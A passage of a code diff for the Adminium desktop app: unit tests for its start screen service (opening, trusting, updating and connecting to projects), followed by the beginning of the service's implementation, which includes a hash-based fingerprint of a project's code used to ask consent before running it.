+ });
+
+ it('says why when the packages did not come, opens nothing, and refuses a folder that is not a project', async () => {
+ const shop = project('shop', { packages: false });
+ const { start } = service({ installPackages: () => Promise.resolve({ ok: false, detail: 'npm error code ENOTFOUND' }) });
+ await start.openProject({ path: shop, agreed: true });
+ await expect(start.getPackages({ path: shop })).resolves.toEqual({ status: 'failed', detail: 'npm error code ENOTFOUND' });
+ expect(chosen).toEqual([]);
+ await expect(start.getPackages({ path: join(home, 'nowhere') })).resolves.toEqual({ status: 'missing' });
+ await expect(start.getPackages({ path: home })).resolves.toEqual({ status: 'not-a-project' });
+ await expect(service().start.getPackages({ path: shop })).resolves.toEqual({ status: 'failed', detail: 'This build of Adminium cannot make a project.' });
+ });
+
+ it('picks a folder with the system’s picker, by its real path', async () => {
+ const shop = project('shop');
+ symlinkSync(shop, join(home, 'alias'));
+ const chooseDirectory = vi.fn(() => Promise.resolve(join(home, 'alias')));
+ const { start } = service({ chooseDirectory });
+ await expect(start.chooseFolder({ title: 'Open a folder' })).resolves.toEqual({ path: shop, displayPath: '~/shop' });
+ expect(chooseDirectory).toHaveBeenCalledWith({ title: 'Open a folder', defaultPath: join(home, 'Adminium') });
+ chooseDirectory.mockResolvedValueOnce(null);
+ await expect(start.chooseFolder({ title: 'Open a folder' })).resolves.toBeNull();
+ chooseDirectory.mockResolvedValueOnce(join(home, 'vanished'));
+ await expect(start.chooseFolder({ title: 'Open a folder' })).resolves.toEqual({ path: join(home, 'vanished'), displayPath: '~/vanished' });
+ });
+});
+
+describe('the recent list’s buttons', () => {
+ it('removes an entry and answers with the list', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'Shop' });
+ await expect(service().start.forgetProject(shop)).resolves.toEqual([]);
+ expect(config.projects).toMatchObject([]);
+ });
+
+ it('locates a moved project: the entry moves, the trust does not', async () => {
+ const moved = project('moved');
+ config = rememberProject(config, { path: join(home, 'old'), name: 'Shop', trusted: 'abc' });
+ const { start } = service({ chooseDirectory: () => Promise.resolve(moved) });
+ const result = await start.locateProject({ path: join(home, 'old'), title: 'Where is Shop now?' });
+ expect(result).toMatchObject({ status: 'located', recent: [{ path: moved, name: 'Shop', missing: false }] });
+ expect(config.projects[0]?.trusted).toBeNull();
+ });
+
+ it('says so when the picked folder is not a project, is already listed, or nothing was picked', async () => {
+ const other = project('other');
+ mkdirSync(join(home, 'plain'));
+ config = rememberProject(config, { path: join(home, 'old'), name: 'Shop' });
+ config = rememberProject(config, { path: other, name: 'Other' });
+ const pick = (path: string | null) => service({ chooseDirectory: () => Promise.resolve(path) }).start.locateProject({ path: join(home, 'old'), title: 't' });
+ await expect(pick(null)).resolves.toEqual({ status: 'cancelled' });
+ await expect(pick(join(home, 'plain'))).resolves.toEqual({ status: 'not-a-project' });
+ await expect(pick(join(home, 'no-such-folder'))).resolves.toEqual({ status: 'not-a-project' });
+ await expect(pick(other)).resolves.toEqual({ status: 'already-listed' });
+ });
+
+ it('passes "Change…" to the system’s picker from where the field is', async () => {
+ const chooseDirectory = vi.fn(() => Promise.resolve('/picked'));
+ await expect(service({ chooseDirectory }).start.chooseParent({ from: '/from', title: 'Where to keep it' })).resolves.toBe('/picked');
+ expect(chooseDirectory).toHaveBeenCalledWith({ title: 'Where to keep it', defaultPath: '/from' });
+ });
+
+ it('chooses the classic workspace', () => {
+ service().start.useClassic();
+ expect(chosen).toEqual([{ kind: 'classic' }]);
+ });
+});
+
+describe('letting go of a project', () => {
+ it('takes the fingerprint again, so the app’s own changes are not asked about', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'Shop', trusted: projectFingerprint(shop) });
+ writeFileSync(join(shop, 'hooks', 'on-save.ts'), 'export default "the Designer wrote this";\n');
+ const { start, saved } = service();
+ await start.trustNow(shop);
+ expect(config.projects[0]?.trusted).toBe(projectFingerprint(shop));
+ await expect(start.openProject({ path: shop })).resolves.toEqual({ status: 'opened' });
+ // Unchanged: nothing is written.
+ const writes = saved.length;
+ await start.trustNow(shop);
+ expect(saved).toHaveLength(writes);
+ });
+
+ it('never grants what was not given: an entry never agreed to stays so, and an unknown folder is left alone', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'Shop' });
+ const { start, saved } = service();
+ await start.trustNow(shop);
+ await start.trustNow(join(home, 'unknown'));
+ expect(config.projects[0]?.trusted).toBeNull();
+ expect(saved).toEqual([]);
+ });
+
+ it('leaves the entry alone when the folder stopped being a project', async () => {
+ const shop = project('shop');
+ config = rememberProject(config, { path: shop, name: 'Shop', trusted: 'abc' });
+ rmSync(join(shop, 'adminium.config.ts'));
+ const { start, saved } = service();
+ await start.trustNow(shop);
+ expect(saved).toEqual([]);
+ });
+});
+
+// ─── opening a folder: the order of what is asked ────────────────────────────
+
+describe('opening a folder, with the engine’s facts', () => {
+ const NONE = { count: 0, names: [] as string[] };
+ const facts = (over: Partial = {}): FolderFacts => ({
+ secret: true,
+ database: 'sqlite',
+ dataDir: null,
+ lastEngine: '0.3.21',
+ newer: [],
+ people: { count: 1, names: ['Owner'] },
+ apiKeys: NONE,
+ publicKeys: NONE,
+ ownerHasPassword: false,
+ running: null,
+ otherManager: null,
+ engine: { installed: '0.3.21', declared: '0.3.21', here: '0.3.21' },
+ install: null,
+ ...over,
+ });
+ /** A service whose facts the test sets, and a record of what was done to the folder. */
+ function opening(first: FolderFacts, over: Partial = {}) {
+ let now = first;
+ const cleaned: string[] = [];
+ const asked: string[] = [];
+ const made = { key: false, database: false };
+ const { start, saved } = service({
+ folderFacts: (root) => {
+ asked.push(root);
+ return Promise.resolve(now);
+ },
+ cleanVersionStore: (root) => {
+ cleaned.push(root);
+ return true;
+ },
+ prepareNewData: () => made,
+ ...over,
+ });
+ return { start, saved, cleaned, asked, made, set: (next: FolderFacts) => void (now = next) };
+ }
+ const entry = (root: string) => config.projects.find((project) => project.path === root);
+
+ it('asks about the folder’s code before anything is read of it', async () => {
+ const root = project('shop');
+ const o = opening(facts());
+ expect((await o.start.openProject({ path: root })).status).toBe('trust-needed');
+ expect(o.asked).toEqual([]);
+ expect(o.cleaned).toEqual([]);
+ });
+
+ it('the first time: the version store is cleaned, what was found is shown once, then it opens and is remembered as looked over', async () => {
+ const root = project('shop');
+ const o = opening(facts());
+ expect(await o.start.openProject({ path: root, agreed: true })).toEqual({ status: 'found', path: root, displayPath: '~/shop', name: 'Shop', rows: ['data', 'key'] });
+ expect(o.cleaned).toEqual([root]);
+ expect(chosen).toEqual([]);
+ expect(entry(root)?.reviewed).toBe(false);
+
+ expect(await o.start.openProject({ path: root, seen: ['found'] })).toEqual({ status: 'opened' });
+ expect(chosen).toEqual([{ kind: 'project', root }]);
+ expect(entry(root)).toMatchObject({ reviewed: true, engineNoted: null });
+ // A second opening: straight in, nothing shown, the store not touched again.
+ expect(await o.start.openProject({ path: root })).toEqual({ status: 'opened' });
+ expect(o.cleaned).toEqual([root]);
+ });
+
+ it('a server that has the folder stops everything, and says where', async () => {
+ const root = project('shop');
+ const o = opening(facts({ running: { port: 4712, by: 'cli' } }));
+ expect(await o.start.openProject({ path: root, agreed: true })).toEqual({ status: 'running', path: root, port: 4712, by: 'cli' });
+ expect(chosen).toEqual([]);
+ });
+
+ it('a store a newer Adminium wrote is never started, before any other question', async () => {
+ const root = project('shop', { packages: false });
+ const o = opening(facts({ newer: [{ name: '0099_future', appliedBy: '0.4.0' }], lastEngine: '0.4.0', otherManager: { manager: 'pnpm', file: 'pnpm-lock.yaml' }, install: 'no-packages' }));
+ expect(await o.start.openProject({ path: root, agreed: true })).toEqual({ status: 'needs-newer', path: root, last: '0.4.0', here: '0.3.21' });
+ // Whatever is said to have been seen: there is no way past it.
+ expect((await o.start.openProject({ path: root, seen: ['manager', 'engine', 'found', 'accounts'] })).status).toBe('needs-newer');
+ expect(chosen).toEqual([]);
+ });
+
+ it('another manager’s lockfile is said the first time only', async () => {
+ const root = project('shop');
+ const o = opening(facts({ otherManager: { manager: 'pnpm', file: 'pnpm-lock.yaml' } }));
+ expect(await o.start.openProject({ path: root, agreed: true })).toMatchObject({ status: 'other-manager', manager: 'pnpm' });
+ expect((await o.start.openProject({ path: root, seen: ['manager'] })).status).toBe('found');
+ expect((await o.start.openProject({ path: root, seen: ['manager', 'found'] })).status).toBe('opened');
+ expect((await o.start.openProject({ path: root })).status).toBe('opened');
+ });
+
+ it('an older pin is offered once per pin: declined, it opens and is not asked again until the pin changes', async () => {
+ const root = project('shop');
+ const o = opening(facts({ engine: { installed: '0.3.16', declared: '0.3.16', here: '0.3.21' } }));
+ expect(await o.start.openProject({ path: root, agreed: true })).toEqual({ status: 'older-engine', path: root, displayPath: '~/shop', was: '0.3.16', here: '0.3.21' });
+ expect((await o.start.openProject({ path: root, seen: ['engine', 'found'] })).status).toBe('opened');
+ expect(entry(root)?.engineNoted).toBe('0.3.16');
+ expect((await o.start.openProject({ path: root })).status).toBe('opened');
+ // Another older pin (a folder copied over this one): asked again.
+ o.set(facts({ engine: { installed: '0.3.18', declared: '0.3.18', here: '0.3.21' } }));
+ expect(await o.start.openProject({ path: root })).toMatchObject({ status: 'older-engine', was: '0.3.18' });
+ // Updated: nothing to say, and nothing kept.
+ o.set(facts());
+ expect((await o.start.openProject({ path: root })).status).toBe('opened');
+ expect(entry(root)?.engineNoted).toBeNull();
+ });
+
+ it('packages installed on another kind of computer are fetched again, and none are fetched for a folder that is merely unmarked', async () => {
+ const root = project('shop');
+ const installPackages = vi.fn(() => Promise.resolve({ ok: true as const }));
+ const o = opening(facts({ install: 'another-machine' }), { installPackages });
+ expect(await o.start.openProject({ path: root, agreed: true })).toEqual({ status: 'needs-packages', path: root, displayPath: '~/shop' });
+ expect(await o.start.getPackages({ path: root })).toEqual({ status: 'ready' });
+ expect(installPackages).toHaveBeenCalledTimes(1);
+
+ const other = project('other');
+ const p = opening(facts({ install: 'not-finished' }), { installPackages });
+ expect((await p.start.openProject({ path: other, agreed: true })).status).toBe('found');
+ p.set(facts({ install: 'changed' }));
+ expect((await p.start.openProject({ path: other, seen: ['found'] })).status).toBe('opened');
+ });
+
+ it('data with no key is asked about, and nothing is made for it', async () => {
+ const root = project('shop');
+ const prepare = vi.fn(() => ({ key: true, database: true }));
+ const o = opening(facts({ secret: false }), { prepareNewData: prepare });
+ expect(await o.start.openProject({ path: root, agreed: true })).toEqual({ status: 'key-missing', path: root, displayPath: '~/shop', name: 'Shop', dataBefore: 'data.before-2026-10-10' });
+ expect((await o.start.openProject({ path: root, seen: ['found', 'accounts'] })).status).toBe('key-missing');
+ expect(prepare).not.toHaveBeenCalled();
+ expect(chosen).toEqual([]);
+ });
+
+ it('a folder with no data: what was made is said, even at a later opening', async () => {
+ const root = project('shop');
+ const o = opening(facts({ database: 'none', secret: false }));
+ o.made.key = true;
+ o.made.database = true;
+ expect(await o.start.openProject({ path: root, agreed: true })).toMatchObject({ status: 'found', rows: ['no-data', 'made-key-and-database'] });
+ expect((await o.start.openProject({ path: root, seen: ['found'] })).status).toBe('opened');
+ // Its data folder deleted later, the key still there: a database is made again, and said.
+ o.set(facts({ database: 'none' }));
+ o.made.key = false;
+ expect(await o.start.openProject({ path: root })).toMatchObject({ status: 'found', rows: ['no-data', 'made-database'] });
+ // Nothing made, nothing to say (a project made a moment ago that has not been started yet).
+ o.made.database = false;
+ expect((await o.start.openProject({ path: root })).status).toBe('opened');
+ });
+
+ it('accounts a folder brought are named once, after what was found', async () => {
+ const root = project('shop');
+ const people = { count: 3, names: ['Rosa', 'Theo', 'Mia'] };
+ const o = opening(facts({ people, apiKeys: { count: 1, names: ['Widget'] } }));
+ expect((await o.start.openProject({ path: root, agreed: true })).status).toBe('found');
+ expect(await o.start.openProject({ path: root, seen: ['found'] })).toEqual({ status: 'accounts', path: root, displayPath: '~/shop', accounts: { people, apiKeys: { count: 1, names: ['Widget'] }, publicKeys: NONE } });
+ expect((await o.start.openProject({ path: root, seen: ['found', 'accounts'] })).status).toBe('opened');
+ expect((await o.start.openProject({ path: root })).status).toBe('opened');
+ });
+
+ it('a store that is elsewhere is asked nothing and made nothing', async () => {
+ const root = project('shop');
+ const prepare = vi.fn(() => ({ key: true, database: true }));
+ const o = opening(facts({ database: 'elsewhere', secret: false }), { prepareNewData: prepare });
+ expect((await o.start.openProject({ path: root, agreed: true })).status).toBe('opened');
+ expect(prepare).not.toHaveBeenCalled();
+ });
+
+ it('with no facts to be had, a folder opens as it did before there were any', async () => {
+ const root = project('shop');
+ const { start } = service({ folderFacts: () => Promise.resolve(null), cleanVersionStore: () => false });
+ expect((await start.openProject({ path: root, agreed: true })).status).toBe('opened');
+ const bare = project('bare', { packages: false });
+ expect((await start.openProject({ path: bare, agreed: true })).status).toBe('needs-packages');
+ });
+
+ it('a project made here is looked over by making it: its first opening shows nothing', async () => {
+ const o = opening(facts(), { makeProject: ({ root }) => {
+ mkdirSync(root, { recursive: true });
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ mkdirSync(join(root, 'node_modules'));
+ return Promise.resolve({ ok: true as const });
+ } });
+ const made = await o.start.createProject({ parent: join(home, 'Adminium'), name: 'Juniper' });
+ expect(made.status).toBe('created');
+ const root = made.status === 'created' ? made.path : '';
+ expect(entry(root)?.reviewed).toBe(true);
+ expect((await o.start.openProject({ path: root })).status).toBe('opened');
+ expect(o.cleaned).toEqual([]);
+ });
+
+ describe('the answer to a missing key', () => {
+ const agreed = async (o: ReturnType, root: string): Promise => {
+ await o.start.openProject({ path: root, agreed: true });
+ };
+
+ it('is taken only for a folder agreed to, that really has data and no key', async () => {
+ const root = project('shop');
+ const resolve = vi.fn(() => ({ ok: true as const }));
+ const o = opening(facts({ secret: false }), { resolveMissingKey: resolve });
+ expect(await o.start.resolveKey({ path: root, answer: 'new' })).toEqual({ status: 'trust-needed' });
+ expect(await o.start.resolveKey({ path: join(home, 'nowhere'), answer: 'new' })).toEqual({ status: 'trust-needed' });
+ await agreed(o, root);
+ o.set(facts());
+ expect(await o.start.resolveKey({ path: root, answer: 'new' })).toMatchObject({ status: 'failed' });
+ o.set(facts({ database: 'none', secret: false }));
+ expect(await o.start.resolveKey({ path: root, answer: 'fresh' })).toMatchObject({ status: 'failed' });
+ expect(resolve).not.toHaveBeenCalled();
+ });
+
+ it('"new" and "fresh" are done as asked; "env" asks the system for the file first', async () => {
+ const root = project('shop');
+ const resolve = vi.fn>(() => ({ ok: true }));
+ const chooseFile = vi.fn>().mockResolvedValueOnce(null).mockResolvedValue('/Users/sam/Desktop/.env');
+ const o = opening(facts({ secret: false, dataDir: join(root, 'data') }), { resolveMissingKey: resolve, chooseFile });
+ await agreed(o, root);
+ expect(await o.start.resolveKey({ path: root, answer: 'new' })).toEqual({ status: 'done' });
+ expect(resolve).toHaveBeenLastCalledWith(root, expect.objectContaining({ dataDir: join(root, 'data') }), { kind: 'new' }, { now: new Date('2026-10-10T08:00:00.000Z') });
+ expect(await o.start.resolveKey({ path: root, answer: 'fresh' })).toEqual({ status: 'done' });
+ expect(resolve).toHaveBeenLastCalledWith(root, expect.anything(), { kind: 'fresh' }, expect.anything());
+
+ expect(await o.start.resolveKey({ path: root, answer: 'env', title: 'Choose the .env file' })).toEqual({ status: 'cancelled' });
+ expect(chooseFile).toHaveBeenLastCalledWith({ title: 'Choose the .env file', defaultPath: home });
+ expect(resolve).toHaveBeenCalledTimes(2);
+ expect(await o.start.resolveKey({ path: root, answer: 'env' })).toEqual({ status: 'done' });
+ expect(resolve).toHaveBeenLastCalledWith(root, expect.anything(), { kind: 'env', file: '/Users/sam/Desktop/.env' }, expect.anything());
+ });
+
+ it('says when the picked file holds no key, and why a write failed; a build with no picker cancels', async () => {
+ const root = project('shop');
+ const resolve = vi.fn>().mockReturnValueOnce({ ok: false, reason: 'not-a-key-file' }).mockReturnValueOnce({ ok: false, reason: 'failed', detail: 'EACCES' }).mockReturnValue({ ok: false, reason: 'failed' });
+ const o = opening(facts({ secret: false }), { resolveMissingKey: resolve, chooseFile: () => Promise.resolve('/x/.env') });
+ await agreed(o, root);
+ expect(await o.start.resolveKey({ path: root, answer: 'env' })).toEqual({ status: 'not-a-key-file' });
+ expect(await o.start.resolveKey({ path: root, answer: 'new' })).toEqual({ status: 'failed', detail: 'EACCES' });
+ expect(await o.start.resolveKey({ path: root, answer: 'new' })).toEqual({ status: 'failed', detail: '' });
+ const none = opening(facts({ secret: false }));
+ const other = project('other');
+ await agreed(none, other);
+ expect(await none.start.resolveKey({ path: other, answer: 'env' })).toEqual({ status: 'cancelled' });
+ });
+
+ it('with the real writes: "fresh" moves the data aside and the folder then opens with new data', async () => {
+ const root = project('shop');
+ mkdirSync(join(root, 'data'));
+ writeFileSync(join(root, 'data', 'meta.db'), 'rows');
+ writeFileSync(join(root, '.env'), 'DATABASE_URL=sqlite:./data/app.sqlite\n');
+ let now = facts({ secret: false, dataDir: join(root, 'data') });
+ const { start } = service({ folderFacts: () => Promise.resolve(now), cleanVersionStore: () => false });
+ expect((await start.openProject({ path: root, agreed: true })).status).toBe('key-missing');
+ expect(await start.resolveKey({ path: root, answer: 'fresh' })).toEqual({ status: 'done' });
+ expect(readFileSync(join(root, 'data.before-2026-10-10', 'meta.db'), 'utf8')).toBe('rows');
+ expect(readFileSync(join(root, '.env'), 'utf8')).toMatch(/ADMINIUM_SECRET=[0-9a-f]{64}\n$/);
+ // What the engine would now say of the folder.
+ now = facts({ database: 'none', dataDir: join(root, 'data') });
+ expect(await start.openProject({ path: root })).toMatchObject({ status: 'found', rows: ['no-data', 'made-database'] });
+ expect(existsSync(join(root, 'data', 'app.sqlite'))).toBe(true);
+ });
+ });
+
+ describe('"Update this project"', () => {
+ it('runs the update for a folder agreed to, and takes its new pin as the person’s own change', async () => {
+ const root = project('shop');
+ const updateProject = vi.fn(({ root: at }: { root: string }) => {
+ writeFileSync(join(at, 'package.json'), '{"name":"x","dependencies":{"@adminiumjs/adminium":"0.3.21"}}\n');
+ return Promise.resolve({ ok: true as const });
+ });
+ const o = opening(facts({ engine: { installed: '0.3.16', declared: '0.3.16', here: '0.3.21' } }), { updateProject });
+ expect(await o.start.updateProject({ path: root })).toEqual({ status: 'trust-needed' });
+ await o.start.openProject({ path: root, agreed: true });
+ expect(await o.start.updateProject({ path: root })).toEqual({ status: 'updated' });
+ expect(updateProject).toHaveBeenCalledWith({ root });
+ // package.json changed, and the next opening does not ask about the folder's code.
+ o.set(facts());
+ expect((await o.start.openProject({ path: root })).status).toBe('found');
+ });
+
+ it('says why it failed, and that a build cannot', async () => {
+ const root = project('shop');
+ const o = opening(facts(), { updateProject: () => Promise.resolve({ ok: false as const, detail: 'npm error code ENOTFOUND' }) });
+ await o.start.openProject({ path: root, agreed: true });
+ expect(await o.start.updateProject({ path: root })).toEqual({ status: 'failed', detail: 'npm error code ENOTFOUND' });
+ const bare = opening(facts());
+ const other = project('other');
+ await bare.start.openProject({ path: other, agreed: true });
+ expect(await bare.start.updateProject({ path: other })).toEqual({ status: 'failed', detail: CANNOT_MAKE_PROJECT });
+ });
+ });
+
+ it('"Update Adminium" asks the app’s own updater, and says when there is none', () => {
+ const updateApp = vi.fn(() => true);
+ expect(service({ updateApp }).start.updateApp()).toBe(true);
+ expect(updateApp).toHaveBeenCalledTimes(1);
+ expect(service().start.updateApp()).toBe(false);
+ });
+});
+
+// ─── another Adminium ────────────────────────────────────────────────────────
+
+describe('connecting to another Adminium', () => {
+ const guestDeps = (found: { ok: true; version: string } | { ok: false; reason: 'no-answer' | 'not-adminium' } = { ok: true, version: '0.3.24' }) => {
+ const checkGuest = vi.fn(() => Promise.resolve(found));
+ const openGuest = vi.fn(() => Promise.resolve());
+ const clearGuest = vi.fn(() => Promise.resolve());
+ return { checkGuest, openGuest, clearGuest };
+ };
+
+ it('judges what was typed before anything is asked of it', async () => {
+ const deps = guestDeps();
+ const { start } = service(deps);
+ expect(await start.connect({ address: 'two words' })).toEqual({ status: 'not-an-address' });
+ expect(await start.connect({ address: 'http://admin.example.com' })).toEqual({ status: 'not-private' });
+ expect(deps.checkGuest).not.toHaveBeenCalled();
+ });
+
+ it('says an address is not encrypted before it asks it anything; "anyway" goes on', async () => {
+ const deps = guestDeps();
+ const { start } = service(deps);
+ expect(await start.connect({ address: 'office-pc.local:4600' })).toEqual({ status: 'not-encrypted', address: 'http://office-pc.local:4600' });
+ expect(deps.checkGuest).not.toHaveBeenCalled();
+ expect(await start.connect({ address: 'office-pc.local:4600', anyway: true })).toEqual({ status: 'opened', guests: [{ address: 'http://office-pc.local:4600', version: '0.3.24' }] });
+ expect(deps.checkGuest).toHaveBeenCalledWith('http://office-pc.local:4600');
+ expect(deps.openGuest).toHaveBeenCalledWith({ origin: 'http://office-pc.local:4600', encrypted: false });
+ expect(config.guests).toEqual([{ address: 'http://office-pc.local:4600', version: '0.3.24', lastOpened: '2026-10-10T08:00:00.000Z' }]);
+ });
+
+ it('an https address needs no "anyway"', async () => {
+ const deps = guestDeps();
+ const { start } = service(deps);
+ expect((await start.connect({ address: 'admin.example.com' })).status).toBe('opened');
+ expect(deps.openGuest).toHaveBeenCalledWith({ origin: 'https://admin.example.com', encrypted: true });
+ });
+
+ it('opens nothing and remembers nothing when no Adminium answers there', async () => {
+ for (const reason of ['no-answer', 'not-adminium'] as const) {
+ const deps = guestDeps({ ok: false, reason });
+ const { start } = service(deps);
+ expect(await start.connect({ address: 'https://admin.example.com' })).toEqual({ status: reason });
+ expect(deps.openGuest).not.toHaveBeenCalled();
+ expect(config.guests).toEqual([]);
+ }
+ // A build that cannot connect says the same as an address that does not answer.
+ expect(await service().start.connect({ address: 'https://admin.example.com' })).toEqual({ status: 'no-answer' });
+ });
+
+ it('"Forget" takes the address off the list and deletes its cookies, and only for an address that is on it', async () => {
+ const deps = guestDeps();
+ const { start } = service(deps);
+ await start.connect({ address: 'https://admin.example.com' });
+ expect(start.guests()).toEqual([{ address: 'https://admin.example.com', version: '0.3.24' }]);
+ expect(await start.forgetGuest('https://other.example.com')).toHaveLength(1);
+ expect(deps.clearGuest).not.toHaveBeenCalled();
+ expect(await start.forgetGuest('https://admin.example.com')).toEqual([]);
+ expect(deps.clearGuest).toHaveBeenCalledWith('https://admin.example.com');
+ expect(config.guests).toEqual([]);
+ });
+});
diff --git a/apps/desktop/src/main/start.ts b/apps/desktop/src/main/start.ts
new file mode 100644
index 000000000..5c1194ca6
--- /dev/null
+++ b/apps/desktop/src/main/start.ts
@@ -0,0 +1,547 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * What the first screens ask of main: the recent list, where a new project may
+ * go, making one, and opening one.
+ *
+ * ELECTRON-FREE. Everything that touches the machine is a port, so the order of
+ * the questions is what the tests hold: main judges a folder AGAIN when asked to
+ * make a project in it (the page's own judgement is a courtesy, never the
+ * decision), and nothing of a folder is started before the person agreed to run
+ * its code on this computer.
+ *
+ * TRUST is the fingerprint of the folder's code ({@link projectFingerprint}) at
+ * the moment the person said "Open", kept in the app's own `config.json`. A
+ * project the app made is agreed to by making it. While a project is open here
+ * its code changes all the time (the Designer writes it), so the fingerprint is
+ * taken again when the app lets go of the folder ({@link StartService.trustNow}):
+ * the question comes back only when the code changed while the app was NOT
+ * holding it, which is the case it exists for (a ZIP unpacked over the folder).
+ */
+
+import { createHash } from 'node:crypto';
+import { existsSync, lstatSync, readFileSync, readdirSync, readlinkSync, realpathSync } from 'node:fs';
+import { join, sep } from 'node:path';
+
+import type {
+ DesktopCreateProjectInput,
+ DesktopConnectResult,
+ DesktopCreateProjectResult,
+ DesktopGuest,
+ DesktopFoundRow,
+ DesktopGetPackagesResult,
+ DesktopLocateProjectResult,
+ DesktopMakeProgress,
+ DesktopMakeStep,
+ DesktopNewFolderInput,
+ DesktopNewFolderJudgement,
+ DesktopOpenProjectInput,
+ DesktopOpenProjectResult,
+ DesktopRecentProject,
+ DesktopResolveKeyResult,
+ DesktopUpdateProjectResult,
+ DesktopStartState,
+} from '../preload/api.js';
+import type { DesktopConfig } from './config.js';
+import { judgeGuestAddress, rememberGuest, type GuestCheck } from './guest.js';
+import {
+ cameWithAccounts,
+ cleanVersionStore,
+ tidyVersionStore,
+ dataBeforeName,
+ enginePin,
+ olderThan,
+ prepareNewData,
+ resolveMissingKey,
+ type FolderFacts,
+ type MissingKeyAnswer,
+} from './folder-open.js';
+import {
+ PROJECT_CONFIG_FILES,
+ folderNameFor,
+ forgetProject,
+ isProjectFolder,
+ judgeNewProjectFolder,
+ proposedParent,
+ recentProjects,
+ relocateProject,
+ rememberProject,
+ type FolderDeps,
+} from './projects.js';
+
+// ─── A path as a person reads it ─────────────────────────────────────────────
+
+/** `~/Adminium/shop` for a folder under the home folder; elsewhere, and on Windows, the path itself. */
+export function displayPathOf(path: string, home: string, platform: NodeJS.Platform): string {
+ if (platform === 'win32') return path;
+ if (path === home) return '~';
+ return path.startsWith(`${home}${sep}`) ? `~${path.slice(home.length)}` : path;
+}
+
+// ─── The fingerprint of a folder's code ──────────────────────────────────────
+
+export interface FingerprintFs {
+ /** What a path is, links NOT followed; `null` when it is not there. */
+ kind: (path: string) => 'file' | 'dir' | 'link' | 'other' | null;
+ read: (path: string) => Buffer;
+ list: (path: string) => string[];
+ linkTarget: (path: string) => string;
+}
+
+const realFingerprintFs: FingerprintFs = {
+ kind: (path) => {
+ try {
+ const stat = lstatSync(path);
+ return stat.isSymbolicLink() ? 'link' : stat.isDirectory() ? 'dir' : stat.isFile() ? 'file' : 'other';
+ } catch {
+ return null;
+ }
+ },
+ read: (path) => readFileSync(path),
+ list: (path) => readdirSync(path),
+ linkTarget: (path) => readlinkSync(path),
+};
+
+/** The folders whose every file is code the engine runs. */
+const CODE_FOLDERS = ['hooks', 'actions'] as const;
+
+/**
+ * A hash of the code a project runs when it is opened: its config file,
+ * `package.json`, and everything under `hooks/` and `actions/`. Names and
+ * contents both count; a link counts as where it points, and is not followed.
+ * `null` for a folder that is not a project.
+ */
+export function projectFingerprint(root: string, fs: FingerprintFs = realFingerprintFs): string | null {
+ const files: string[] = [];
+ for (const name of [...PROJECT_CONFIG_FILES, 'package.json']) if (fs.kind(join(root, name)) !== null) files.push(name);
+ if (!PROJECT_CONFIG_FILES.some((name) => files.includes(name))) return null;
+
+ const walk = (relative: string): void => {
+ for (const entry of [...fs.list(join(root, relative))].sort()) {
+ if (entry === 'node_modules') continue;
+ const child = `${relative}/${entry}`;
+ if (fs.kind(join(root, child)) === 'dir') walk(child);
+ else files.push(child);
+ }
+ };
+ for (const folder of CODE_FOLDERS) if (fs.kind(join(root, folder)) === 'dir') walk(folder);
+
+ const hash = createHash('sha256');
+ for (const file of files) {
+ const path = join(root, file);
+ const kind = fs.kind(path);
+ hash.update(`${file}\0${kind ?? 'gone'}\0`);
+ if (kind === 'file') hash.update(fs.read(path));
+ else if (kind === 'link') hash.update(fs.linkTarget(path));
+ hash.update('\0');
+ }
+ return hash.digest('hex');
+}
+
+// ─── The service ─────────────────────────────────────────────────────────────
+
+/** What the person chose on the first screens: main boots it. */
+export type StartChoice = { readonly kind: 'classic' } | { readonly kind: 'project'; readonly root: string; /** Asked for from Start: the project's dashboard, not the Designer. */ readonly land?: 'dashboard' };
+
+export type MakeProjectResult = { readonly ok: true } | { readonly ok: false; readonly detail: string };
+
+export interface StartDeps {
+ readConfig: () => DesktopConfig;
+ saveConfig: (next: DesktopConfig) => Promise;
+ folder: FolderDeps;
+ /** The classic workspace has been used on this computer. */
+ classicUsed: () => boolean;
+ /** The system's folder picker. */
+ chooseDirectory: (opts: { title: string; defaultPath?: string | undefined }) => Promise;
+ /**
+ * Make a project in `/` (the engine's own `new`, with the
+ * app's programs) and install what it is built with. Absent in a build that
+ * cannot (no engine entry): "Create" then fails with its own sentence.
+ */
+ makeProject?: ((input: { parent: string; folder: string; root: string; onStep?: (step: DesktopMakeStep) => void }) => Promise) | undefined;
+ fingerprint?: ((root: string) => string | null) | undefined;
+ /** Fetches what a project that is already there is built with; absent in a build that cannot. */
+ installPackages?: ((input: { root: string }) => Promise) | undefined;
+ /** Whether the folder has what it is built with (a `node_modules`). */
+ hasPackages?: ((root: string) => boolean) | undefined;
+ /**
+ * What the engine says the folder holds, read without running anything of it
+ * (`make-project.ts`). Absent, or `null` for a folder: the folder is opened
+ * as it was before there were facts (trust, packages, start).
+ */
+ folderFacts?: ((root: string) => Promise) | undefined;
+ /** "Update this project": its own Adminium set to this app's, its packages fetched again. */
+ updateProject?: ((input: { root: string }) => Promise) | undefined;
+ /** Look for a newer Adminium now. `false`: this build does not update itself. */
+ updateApp?: (() => boolean) | undefined;
+ /** The system's file picker, for the `.env` a person still has. `null` on cancel. */
+ chooseFile?: ((opts: { title: string; defaultPath?: string | undefined }) => Promise) | undefined;
+ /** Ask an address whether an Adminium is there (`guest.ts`); absent: a build that cannot connect. */
+ checkGuest?: ((origin: string) => Promise) | undefined;
+ /** Open another Adminium in a window of its own, with none of the app's bridge. */
+ openGuest?: ((guest: { origin: string; encrypted: boolean }) => Promise) | undefined;
+ /** Delete a guest's cookies. */
+ clearGuest?: ((origin: string) => Promise) | undefined;
+ /** The three writes below, for tests. */
+ prepareNewData?: typeof prepareNewData | undefined;
+ resolveMissingKey?: typeof resolveMissingKey | undefined;
+ cleanVersionStore?: typeof cleanVersionStore | undefined;
+ /** The real path of a folder that exists. */
+ real?: ((path: string) => string) | undefined;
+ now?: (() => Date) | undefined;
+ onChoice: (choice: StartChoice) => void;
+}
+
+export interface StartService {
+ state(): DesktopStartState;
+ judgeNewFolder(input: DesktopNewFolderInput): DesktopNewFolderJudgement;
+ chooseParent(input: { from: string; title: string }): Promise;
+ createProject(input: DesktopCreateProjectInput): Promise;
+ makeProgress(): DesktopMakeProgress;
